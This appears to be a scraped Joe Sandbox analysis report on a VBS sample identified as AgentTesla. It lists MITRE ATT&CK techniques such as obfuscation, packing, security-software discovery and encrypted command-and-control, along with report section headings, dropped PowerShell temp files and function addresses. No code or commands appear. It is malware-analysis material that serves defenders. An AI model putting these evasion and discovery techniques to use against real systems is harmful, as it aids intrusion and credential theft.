Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PofaABvatI.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2z0jdzt.y3b.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_imjo0fb3.tpc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivh5jr3q.ho4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1rgkfnh.2q1.psm1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
PofaABvatI.vbs

Function 00007FFB4B2C34FD Relevance: 1.9, APIs: 1, Instructions: 440
processCOMMON

Function 00007FFB4B38031D Relevance: .2, Instructions: 242
COMMON

Function 00007FFB4B388B4E Relevance: .2, Instructions: 225
COMMON

Function 00007FFB4B388B9A Relevance: .1, Instructions: 143
COMMON